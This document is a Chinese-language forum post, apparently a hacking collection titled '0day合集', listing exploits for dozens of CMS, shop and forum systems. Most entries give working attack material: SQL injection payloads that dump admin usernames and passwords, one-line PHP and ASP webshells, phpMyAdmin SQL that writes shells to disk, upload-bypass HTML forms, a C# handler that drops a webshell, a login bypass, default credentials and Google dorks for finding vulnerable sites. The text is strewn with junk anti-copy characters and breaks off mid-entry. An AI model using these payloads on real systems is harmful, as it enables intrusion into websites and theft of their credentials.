0day合集

admin

启航企业建站系统 cookie注入漏洞通杀所有版本

直接上exploit:
( {& A% M) N3 M+ v# {javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
/ [8 p/ {. b0 p% k! n: Otest:http://www.tb11.net/system/xitong/shownews.asp?id=210
" \+ V4 h5 l3 P/ F$ Y5 A" t* x) M--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2 O9 T# E+ ~: t. N, N9 ?Asprain论坛 注册用户 上传图片就可拿到webshell

Asprain是一个适合于各中小学、中专、技校、职高建设校园论坛、师生交流论坛，一些教科研部门、公司企业建设内部论坛、IT技术爱好者建设技术交流论坛的免费论坛程序。
3 a9 G* ], m- J1.txt存放你的一句话马 如：<%execute(request("cmd"))%>
2.gif 为一小图片文件，一定要小，比如qq表情图片
4 k( b2 @. O/ S. H3 h2 G" @3:copy /b 2.gif+1.txt 3.gif 这样就伪造了文件头，但是现在传上去还不行，我接下来就用
0 x$ K2 C2 l( @3 @) k4:copy /b 3.gif+2.gif 4.asp ok,现在文件头和文件尾都是正常的图片文件了
  k5 Q; D! r. u) \9 Q5.q.asp;.gif
google：Powered by Asprain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
6 [% P( o, j: e, M6 m, e
ShopNum1全部系统存在上传漏洞。
& ^( _4 v% w& _
首先 在 http://www.shopnum1.com/product.html 页面查看任意产品详细说明。
! C0 c, W: \5 r3 i( ]. ~" L按说明 提示登录后台。。
" @% t2 x6 h, N' Z+ {在后台功能页面->附件管理->附件列表
可以直接上传.aspx 后缀木马
" ^' y0 z. L! j' X' g' dhttp://demo.shopnum1.com/upload/20110720083822500.aspx
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

7 q7 b) s. e& t" w* `# U0 V% \牛牛CMS中小企业网站管理系统 上传漏洞

牛牛CMS是中企商铺网专为中小企业网站开发的网站管理系统。
后台:admin/login.asp
7 F5 j4 G$ K: rewebeditor 5.5 Nday
+ N8 F/ r+ [, u) xexp:
<form?action="http://www.lz5188.net/Admin/WebEditor168/asp/upload.asp?action=save&type=image&style=popup&cusdir=Mr.DzY.asp"?method=post?name=myform?enctype="multipart/form-data">?
<input?type=file?name=uploadfile?size=100><br><br>?
<input?type=submit?value=upload>?
0 |; N* _" h  ~</form>
ps:先上传小马.
inurl:member/Register.asp 您好，欢迎来到立即注册立即登录设为首页加入收藏

( v+ V' u; e1 b) ~3 O0 H4 ]--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

/ O; N) C2 V- {/ X. WYothCMS 遍历目录漏洞
5 }# z  b; I2 n" k9 u" @' D
优斯科技企业网站管理系统(YothCMS)是一款完全开源免费的CMS。
默认后台:admin/login.asp
8 D8 H6 y* G- e% |. G遍历目录:
ewebeditor/manage/upload.asp?id=1&dir=../
data:
http://www.flycn.net/%23da%23ta%23\%23db_%23data%23%23.asa
' Z; M# y( l, X+ s0 W4 R5 q--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Net112企业建站系统 1.0

7 g' T6 Z& Z9 |源码简介：
Net112企业建站系统，共有：新闻模块，产品模块，案例模块，下载模块，相册模块，招聘模块，自定义模块，友情链接模块 八大模块。
: K" S! D2 E4 }" l: O添加管理员：
& q) X( C3 x# o2 r8 P3 ihttp://www.0855.tv/admin/admin.asp?action=add&level=2
其实加不加都不是很重要，后台文件都没怎么作验证。
6 l" T' E1 S0 [0 ?: O3 q9 v上传路径：
http://www.0855.tv/inc/Upfile.as ... 0&ImgHeight=200
http://www.0855.tv/inc/Upfile.asp?Stype=2
# w5 ^& a! _6 i( {怎么利用自己研究。
遍历目录：
, }+ u8 i4 {+ L3 Rhttp://www.0855.tv/admin/upfile.asp?path=../..
3 @4 S" @6 w# G; `6 j* C如：
http://www.0855.tv/admin/upfile.asp?path=../admin
8 H/ G" _+ h, d: _( dhttp://www.0855.tv/admin/upfile.asp?path=../data
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

/ l9 z+ x- a/ K易和阳光购物商城通杀 上传漏洞

前提要求是IIS6.0+asp坏境。
# I; J. U" L9 ?漏洞文件Iheeo_upfile.asp
0 N$ U7 \9 X9 ?5 {. b1 O( U% T过滤不严.直接可以iis6.0上传
$ c) y3 ]# O- s9 @把ASP木马改成0855.asp;1.gif
7 ?, y4 e  M& p8 `" V9 m直接放到明小子上传
3 v, h1 x- T5 k4 K7 ^3 OGoogle搜索：inurl:product.asp?Iheeoid=
! C/ g# |% B; t--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

phpmyadmin后台4种拿shell方法

方法一：
4 W+ d/ B  G9 J: V' bCREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
; C- r5 ]1 v: S) L- O! O, YINSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
) E9 K2 K5 q1 B& R* E一句话连接密码：xiaoma
  a, x4 R& G! \% W方法二：
% a0 E9 M( B  d  UCreate TABLE xiaoma (xiaoma1 text NOT NULL);
, _, }* W8 ]; N( L/ _1 DInsert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;
5 |+ V, J" v0 L* y: C* r. s方法三：
) l8 u2 t  N5 P# d; W7 Z% I) N读取文件内容：    select load_file('E:/xamp/www/s.php');
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
2 w% B5 W% L$ r- K4 Wcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
方法四：
  @6 ?" c$ c5 c8 g7 t. {- Mselect load_file('E:/xamp/www/xiaoma.php');
7 }) q, I# u# c0 F6 B# U, [select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$ i4 k+ `) `3 s; Z2 V) H( V/ Z
传信网络独立开发网站源码0day漏洞
, p+ j1 j% ~8 R9 L
2 A1 l- }; I) i0 d& W) S# d后台system/login.asp
/ X: }/ c9 R$ d/ p* l1 }9 n+ z进了后台有个ewebeditor
1 p( R, q& _" ~! SGoogle 搜索inurl:product1.asp?tyc=
; i  L( h  E" ]& x+ q9 Z编辑器漏洞默认后台ubbcode/admin_login.asp
4 {  |" `* Z) s数据库ubbcode/db/ewebeditor.mdb
& X" w: J% S) H' K默认账号密码yzm 111111
" `/ W$ `  Z! W# W2 l! M8 X
/ W/ G6 {8 V# a0 z- Z$ k# F5 g# l. o拿webshell方法
登陆后台点击“样式管理”-选择新增样式
6 I8 L& N- f9 Z+ o' m% A0 x样式名称:scriptkiddies 随便写
路径模式：选择绝对路径
图片类型：gif|jpg|jpeg|bmpasp|asa|aaspsp|cer|cdx
图片类型比如就是我们要上传的ASP木马格式
上传路径：/
图片限制：写上1000 免的上不了我们的asp木马
& K. M( O* B( R6 u5 [9 h: K- ]上传内容不要写
可以提交了
3 m& \2 b$ I! |$ X+ f& {样式增加成功！
返回样式管理 找到刚才添加的样式名称 然后按工具栏 在按新增工具栏
按钮设置 在可选按钮 选择插入图片然后按》 -然后保存设置
3 ]4 A, d! P$ y6 v网页地址栏直接输入ubbcode/Upload.asp?action=save&type=&style=scriptkiddies
上ASP木马 回车 等到路径

后台：system/login.asp
  Q' H$ l% e, C4 U  u0 lExp:
and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
' ^+ [& m& O$ p3 J测试:
http://www.zjgaoneng.com/product_show.asp?id=9 and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
/ q0 m- a  W! G* ~+ D; thttp://www.yaerli.com/product_show.asp?id=245 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14 from master
' x! P8 {: h4 O6 w& `  W--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

7 A5 E& G& o6 a, U$ [4 ffoosun 0day 最新注入漏洞

漏洞文件：www.xxx.com/user/SetNextOptions.asp
) V- e8 P, ~6 m# _8 Q" ~- Y5 P利用简单的方法：
# A3 Y' Z; W! Y7 q/ u暴管理员帐号：
http://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
暴管理员密码：
; }$ O' z' Q8 F8 Khttp://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_pass_word,
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
/ f, H7 t: p: X- D' y' }
网站程序的版权未知！

. K& g( U4 ]4 _. d' v默认网站数据库：
' D$ N4 y! A0 x% @9 S, b& dwww.i0day.com/data/nxnews.mdb
& X. K  u! `' _+ R5 M1 Pewebeditor 在线编辑器：
) j& y. K) ~1 ]5 H编辑器数据库下载地址：www.i0day.com/ewebeditor/db/ewebeditor.mdb
$ s$ T) v* q% g( g" O登录地址：ewebeditor/admin_login.asp
默认密码：admin  admin
登陆后可遍历目录：ewebedtior/admin_uploadfile.asp?id=22&dir=../../data
# S* @# ]7 u* c, f5 |" s8 {" l
Sql注入漏洞：
" C; A0 V9 P: O# xhttp://www.i0day.com/detail.asp?id=12
exp:
union select 1,admin,password,4,5,6,7,8 from admin
爆出明文帐号/密码
$ t, x2 M$ S6 T/ x0 n( K6 T+ Z
上传漏洞：
后台+upfile.asp
如：
& e, b/ w4 y8 I; ]0 U! jhttp://www.i0day.com/manage/upfile.asp 可以用工具。如明小子。
+ y7 l4 u5 f4 [1 ^shell的地址：网址+后台+成功上传的马
google:inurl:news.asp?lanmuName=
  M8 ?. v1 y5 f# a  f+ w, B2 L------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* e3 y" Q) F$ I' u; }8 r+ p( d
dedecms最新0day利用不进后台直接拿WEBSHELL
  Y( N7 p! n5 P0 ~! |( g
1 L6 S& F/ ~1 ?; F2 e+ Q& t拿webshell的方法如下：
- o! W9 I9 Y9 |网传的都是说要知道后台才能利用，但不用，只要 plus 目录存在，服务器能外连，就能拿shell.
前题条件，必须准备好自己的dede数据库，然后插入数据：
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');
# o- @! @; o* C2 R* {) ~( h
# L9 o2 ?. |9 B+ {4 y/ A5 D再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
! `8 ?. J+ w% y* D6 r* P<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
9 @5 G) I5 i% ?! w4 L0 A1 f; m% s<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
4 [% I7 M6 l; j. z; ?* h0 `% t<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
7 V1 ~7 y7 }& p3 q<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
! k+ ^( e8 \& b5 G3 l1 {0 x+ j<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
! s# J2 h+ P* n' S8 ]2 ^/ F' ~<script>
function addaction()
{
: b) s. o+ l# U4 p+ _  odocument.QuickSearch.action=document.QuickSearch.doaction.value;
+ N# ~* Y% R" C5 }# {  C# U) H+ l}
: E: T. e. V7 o  O7 Z% W</script>
) o, o* `( K+ y/ M% L-----------------------------------------------------------------------------------------------------------------------------------------------

( Q9 G* ^1 k6 [1 d  p, c( qdedecms织梦暴最新严重0day漏洞
bug被利用步骤如下：
% K8 J* ?+ |6 X/ Shttp://www.2cto.com /网站后台/login.php?dopost=login&validate={dcug}&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面{}上的字母改为当前的验证码，即可直接进入网站后台。
4 H3 A+ ^6 [7 F" e-------------------------------------------------------------------------------------------------------------------------------------------
. X) k! m# g, n; [( ], @
多多淘宝客程序上传漏洞
漏洞页面：
9 F  }( G: O- e. Z* w6 {. a! a* H  i. Zadmin\upload_pic.php
; T0 x8 g. Q/ Z0 h传送门：
http://www.www.com/admin/upload_pic.php?uploadtext=slide1
! T- u$ P) a7 K) \+ aPS:copy张图片马 直接  xxx.php 上传抓包地址！
------------------------------------------------------------------------------------------------------------------------------------------------------

' J. |4 J  c8 e无忧公司系统ASP专业版后台上传漏洞
' U/ a- Z' P. @$ B1 b漏洞文件 后台上传
admin/uploadPic.asp
, a" N$ Y) e" z( z8 x2 c漏洞利用 这个漏洞好像是雷池的
http://forum.huc08.com/admin/upl ... ptkiddies.asp;& upload_code=ok&editImageNum=1
等到的webshell路径：
/UploadFiles/scriptkiddies.asp;_2.gif
---------------------------------------------------------------------------------------------------------------------------------------------------
* b  }3 U7 Y# B9 \: D! U) i) }
9 p$ F1 f8 Q( y7 ?4 b) k0 f住哪酒店分销联盟系统2010
8 h& g2 C4 j; q% k1 F( k1 A  SSearch：
* y8 ]9 k1 Z# Z! p7 l& uinurl:index.php?m=hotelinfo
0 O9 ^! x$ X0 p2 c0 ?. thttp://forum.huc08.com /index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin
" |9 g0 C& _9 ]8 I2 s默认后台：index.php?m=admin/login
--------------------------------------------------------------------------------------------------------------------------------------------------

0 ?0 p9 ]( }3 c7 F' I5 zinurl:info_Print.asp?ArticleID=
后台 ad_login.asp
0 P+ K  n$ B# J' [: U0 U爆管理员密码：
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
! M8 }+ z; _& x# H# d+ j: R------------------------------------------------------------------------------------------------------------------------------------------------------------
' x$ E* {. D) k9 M9 N, j
搜索框漏洞！
& Q- y; r1 d. x# K%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
2 q& {' ]7 z4 i--------------------------------------------------------------------------------------------------------------------------------------------------------
& I' \+ @) f7 ^2 p# I7 f
  q4 l6 }' m" o2 P关键字：
inurl:/reg_TemletSel.asp?step=2
或者
- E9 A, H/ [: t. j0 s电子商务自助建站--您理想的助手
! {' ?9 H4 e2 Q4 S7 |-------------------------------------------------------------------------------------------------------------------------------------------------
# \- N. {8 z# d
; G+ f5 ?; k: }7 B; [0 w  m, n: {2 ^iGiveTest 2.1.0注入漏洞
Version: <= 2.1.0
# Homepage: http://iGiveTest.com/
4 t8 A+ g( [- F0 g* L谷歌关键字: “Powered by iGiveTest”
# `% u. O7 a/ X8 k6 @随便注册一个帐号。然后暴管理员帐号和密码
http://www.xxxx.com/users.php?ac ... r=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
------------------------------------------------------------------------------------------------------------------------------------------------

CKXP网上书店注入漏洞
# I) C# k! n$ L" R- V/ n工具加表:shop_admin 加字段:admin
# ]$ v( K+ x7 {& k: s后台:admin/login.asp
: r" R8 `. l# q. T  W: s登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
inurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
; \  x' I4 l3 {( {' `& _6 I# g--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

段富超个人网站系统留言本写马漏洞
源码下载：http://www.mycodes.net/24/2149.htm
addgbook.asp 提交一句话。
  u8 ], m+ U7 M* u1 Q9 Z连接： http://www.xxxx.tv/date/date3f.asp
google:为防批量，特略！
5 W2 V& G+ w" m, c7 _% E+ S-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
% J& D; f( r* ?9 {# x( ]6 n
智有道专业旅游系统v1.0 注入及列目录漏洞
默认后台路径：/admin/login.asp
* E. R- v& t- C4 u6 J" k默认管理员：admin
默认密码：123456
SQL EXP Tset:
1 i4 e4 p2 q4 I. N: `' z3 mhttp://www.untnt.com/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin
) `! A! N1 q$ E  o% z+ E% p9 M------------------------------------------------------------------------------------------------------------------------------------------------------------------------

& D% Y/ h# b2 M9 ?ewebeditor(PHP) Ver 3.8 本任意文件上传0day
EXP：
<title>eWebeditoR3.8 for php任意文件上EXP</title>
<form action="" method=post enctype="multip
0 Y% \0 n/ R, K( g6 n) Tart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://www.untnt.com/ewebeditor/" size=100><br>
  \( X- x) P% p5 ]- G<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
$ |9 B/ l' g1 l& F) e6 A. Y<input type=button value=submit onclick=fsubmit()>
; v% Q& g0 ~$ w</form><br>
<script>
+ C9 o* U1 x. S& o4 T0 P0 C4 o" ffunction fsubmit(){
form = document.forms[0];
form.action = form.url.value+''php/upload.php?action=save&type=FILE&style=toby57&language=en'';
alert(form.action);
form.submit();
7 t; @' k7 t2 S% ]}
</script>
注意修改里面ewebeditor的名称还有路径。
1 k& ?3 f( N0 g: |# x5 O+ L---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

提交’时提示ip被记录 防注入系统的利用
( z. c$ K1 ^& |, ?' f网址：http://www.xxx.com/newslist.asp?id=122′
. x6 a! H4 y, n提示“你的操作已被记录!”等信息。
/ Q; |& J+ s8 M8 L: B* c利用方法：www.xxx.com/sqlin.asp看是否存在，存在提交http://www.xxx.com/newslist.asp?id=122‘excute(request("TNT"))写入一句话。
' J9 L$ p- J$ t$ ^$ B-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
9 r4 @* E& Q! I# ?3 y* R
: U' c5 Q8 v/ o3 j9 P西部商务网站管理系统 批量拿shell-0day
这站用的是SQL通用防注入程序 V3.0,恩,这东西可不好绕,我记得当初我有写过一个文章 通过提交一句话直接拿shell的..唯一的前提是存储记录ip的数据库必须是.asp或.asa才行..看了下sqlin.mdb
1:admin_upset.asp 这个文件有个设置上传后缀的地方.. 很简单,它直接禁止了asp,asa.aspx 还有个cer可以利用嘛
( t. e8 K3 P* |8 K/ C' Z/ x* i% G0 J5 d2:同样是admin_upset.asp 这个文件不是入库的 他是直接在htmleditor目录生成个config.asp文件...Ok不用多说,插个一句话搞定...注意闭合
3:admin_bakup.asp 备份数据库的..但是得本地构造...调用了filesystemobject 怎么利用就不强调了..IIS的bug大家都懂
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

JspRun!6.0 论坛管理后台注入漏洞
9 l6 f' _7 v$ `, v' c5 J6 O& m8 b
# F, B$ D7 G( B( `4 B+ H1 `SEBUG-ID:20787 发布时间:2011-04-30 影响版本:
* I+ A6 P7 Z- o4 mJspRun!6.0
( \3 l$ J' ^0 z: z1 \8 o漏洞描述:
JspRun!论坛管理后台的export变量没有过滤，直接进入查询语句，导致进行后台，可以操作数据库，获取系统权限。
( f  L/ x3 e9 C. L在处理后台提交的文件中ForumManageAction.java第1940行
String export = request.getParameter("export");//直接获取，没有安全过滤
8 s3 G# m) }' q0 l; I$ uif(export!=null){
List&gt; styles=dataBaseService.executeQuery("SELECT s.name, s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='"+export+"'");//进入查询语，执行了...
: s$ t* J% g- H8 Z# W: Z3 ~) Vif(styles==null||styles.size()==0){
<*参考
nuanfan@gmail.com
1 X# l% |' R+ R! [: e% G*> SEBUG安全建议:
www.jsprun.net
（1）安全过滤变量export
（2）在查询语句中使用占位符
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3 u/ [- _- c: W3 `" H1 S
乌邦图企业网站系统 cookies 注入

程序完整登陆后台:/admin/login.asp
, B& [- t& T# R; N默认登陆帐号:admin 密码:admin888
! x  I7 T/ ]9 h" U0 u7 d" Y语句：(前面加个空格)
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
或者是16个字段：
2 A& v9 H# v; j5 Zand 1=2 union select 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
爆不出来自己猜字段。
注入点：http://www.untnt.com/shownews.asp?=88
' g2 h5 Z8 T. a" {9 Ygetshell:后台有备份，上传图片小马。备份名：a.asp 访问 xxx.com/databakup/a.asp
/ L9 w3 S8 Q( V5 e% _关键字：
7 _: G5 k5 G3 x  cinurl:shownews?asp.id=
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

CKXP网上书店注入漏洞
: P4 d! v. ]7 k2 u4 {  U; f
1 z+ h9 d( T8 r工具加表:shop_admin 加字段:admin
后台:admin/login.asp
登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
inurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
' u6 [+ z. j$ U" }) i
$ w& K" _# N$ @" B" CYxShop易想购物商城4.7.1版本任意文件上传漏洞

http://xxoo.com/controls/fckedit ... aspx/connector.aspx
' n+ {( d' J7 {0 U* j3 R跳转到网站根目录上传任意文件。
2 v' n6 U) X& W6 b' e: H如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件
6 ^6 s% I8 t! `# a<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxoo.net/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">
Upload a new file:<br>
3 p) ]- Q& x- [, l4 V' R/ A) q<input type="file" name="NewFile" size="50"><br>
0 x2 O* U4 }# S% T+ V) T4 }<input id="btnUpload" type="submit" value="Upload">
</form>
3 i1 g/ r/ E; o3 Z, m-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
1 Z5 W. I& y' n7 |2 X" I) l) i
SDcms 后台拿webshell

第一种方法：
+ W- v! O- |5 }. g+ ?4 g/ z进入后台-->系统管理-->系统设置-->系统设置->网站名称;
把网站名称内容修改为   "%><%eval request("xxx")'    //密码为xxx
用菜刀链接http://www.xxx.com/inc/const.asp  就搞定了。
第二种方法：
7 I1 W) ~3 v  m$ ]2 c. l. T进入后台-->系统管理-->系统设置-->系统设置->上传设置;
: R/ `8 t# }# V. w在文件类型里面添加一个aaspsp的文件类型，然后找一个上传的地方直接上传asp文件！ 注：修改文件类型后不能重复点保存！
# L8 N6 L7 [* b5 [1 A3 G+ [+ E8 n第三种方法：
9 a# {# K' a- V7 {9 c5 p进入后台-->界面管理-->模板文件管理-->创建文件
文件名写入getshell.ashx
内容写入下面内容：
/====================复制下面的=========================/
<%@ WebHandler Language="C#" Class="Handler" %>
7 D8 Y: I# L" w  }: Qusing System;
using System.Web;
5 _0 ?) Y  k8 \& ?/ h- gusing System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
) e2 p0 ^: O% ~' ycontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");
file1.Flush();
file1.Close();
. L, S& z" R. ]2 w}
; Y2 ^- ~. |- y  `  V/ hpublic bool IsReusable {
9 y8 h: b3 }: {get {
6 }& c/ c0 N: @% F& n4 Oreturn false;
. `4 @8 {# R! b, H: k8 b4 s! P" ]8 C}
- \: F4 j4 V7 u  b% ]/ s4 v}
}
/=============================================/
访问这个地址：http://www.xxx.com/skins/2009/getshell.ashx
会在http://www.xxx.com/skins/2009/目录下生成getshell.asp 一句话木马 密码为xxx 用菜刀链接
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
; N0 |4 u0 }/ a4 K6 G9 P$ p3 S% t% F
ESCMS网站管理系统0day

后台登陆验证是通过admin/check.asp实现的
3 A  `$ g, e: K- r
首先我们打开http://target.com/admin/es_index.html
* p  o0 G& z' d然后在COOKIE结尾加上
- i& H; C8 O4 ~3 v& \0 s- [. x; ESCMS$_SP2=ES_admin=st0p;
修改,然后刷新
进后台了嘎..
' Z% R) z! z& g/ A然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL
( }3 k7 C" U/ m- J2 C
利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.
8 w) f! b: m) B嘿嘿,成功了,shell地址为http://target.com/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..
在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* l4 ?. O: G2 ?/ j& a7 ]* L+ n
宁志网站管理系统后台无验证漏洞及修复

网上搜了一下,好像没有发布.如有雷同纯粹巧合!
" `2 G/ B& A0 w9 }9 _$ k0 }官方网站:www.ningzhi.net
学校网站管理系统 V.2011版本
3 ]# U( }* f  {6 h: fhttp://down.chinaz.com/soft/29943.htm
! l5 d% `9 G. [6 X" ]其它版本(如:政府版等),自行下载.
0 G, d4 p8 P1 N6 I漏洞说明:后台所有文件竟然都没有作访问验证...相当无语...竟然用的人还很多.汗~~~
( B) g% t: A4 S9 Hlogin.asp代码如下:
<%  response.Write"<script language=javascript>alert('登陆成功！请谨慎操作！谢谢！');this.location.href='manage.asp';</script>" %>
manage.asp代码我就不帖出来了.反正也没验证.
! N$ j% Y, Y  V' w9 J. u/ a只要访问登陆页就可以成功登陆.....蛋疼~~~ 对此本人表示不理解!
漏洞利用:
直接访问http://www.0855.tv/admin/manage.asp
数据库操作:http://www.0855.tv/admin/manage_web.asp?txt=5&id=web5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
. }' H' g% j% G# j2 g" E, ?
phpmyadmin拿shell的四种方法总结及修复
+ U6 c' _& K% `/ `/ n9 T2 c( U
+ ]* f! o: ?# x! `4 {方法一：
, b8 V4 \- h5 e/ Y8 fCREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL );
INSERT INTO `mysql`.`study` (`7on` )VALUES ('<?php @eval($_POST[7on])?>');
SELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php';
+ E1 \/ }5 c- d3 Y. [----以上同时执行，在数据库: mysql 下创建一个表名为：study，字段为7on，导出到E:/wamp/www/7.php
    一句话连接密码：7on
方法二：
6 w$ w! }( S. n3 [. C读取文件内容：    select load_file('E:/xamp/www/s.php');
7 u+ d" f0 x6 ^6 z3 S, @; ?5 |写一句话：    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/study.php'
: K' j9 D0 ]7 d6 R1 ycmd执行权限：    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
方法三：
JhackJ版本 PHPmyadmin拿shell
5 w' _" V& q8 r1 W; u! m* DCreate TABLE study (cmd text NOT NULL);
Insert INTO study (cmd) VALUES('<?php eval($_POST[cmd])?>');
; \" o7 z" }, I7 h( s( x2 dselect cmd from study into outfile 'E:/wamp/www/7.php';
3 W7 w' a) w; ^( YDrop TABLE IF EXISTS study;
<?php eval($_POST[cmd])?>
4 D  J5 B" R+ T, @# H- z" OCREATE TABLE study(cmd text NOT NULL );# MySQL 返回的查询结果为空(即零行)。
1 A3 }* Z" b- mINSERT INTO study( cmd ) VALUES ('<?php eval($_POST[cmd])?>');# 影响列数： 1
SELECT cmdFROM study INTO OUTFILE 'E:/wamp/www/7.php';# 影响列数： 1
8 q; \  Z4 m' @1 HDROP TABLE IF EXISTS study;# MySQL 返回的查询结果为空(即零行)。
方法四：
7 |3 G  U2 C. j, {* Iselect load_file('E:/xamp/www/study.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
( w: z. M: C, _6 n( v/ w然后访问网站目录：http://www.2cto.com/study.php?cmd=dir
2 v1 o2 G' F; q& r# H9 U-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
. \4 L$ W0 I6 S
  T7 B  |5 s& i3 INO.001中学网站管理系统 Build 110628 注入漏洞

. Q: E& K5 m: Z$ Q6 }1 ]NO.001中学网站管理系统功能模块:
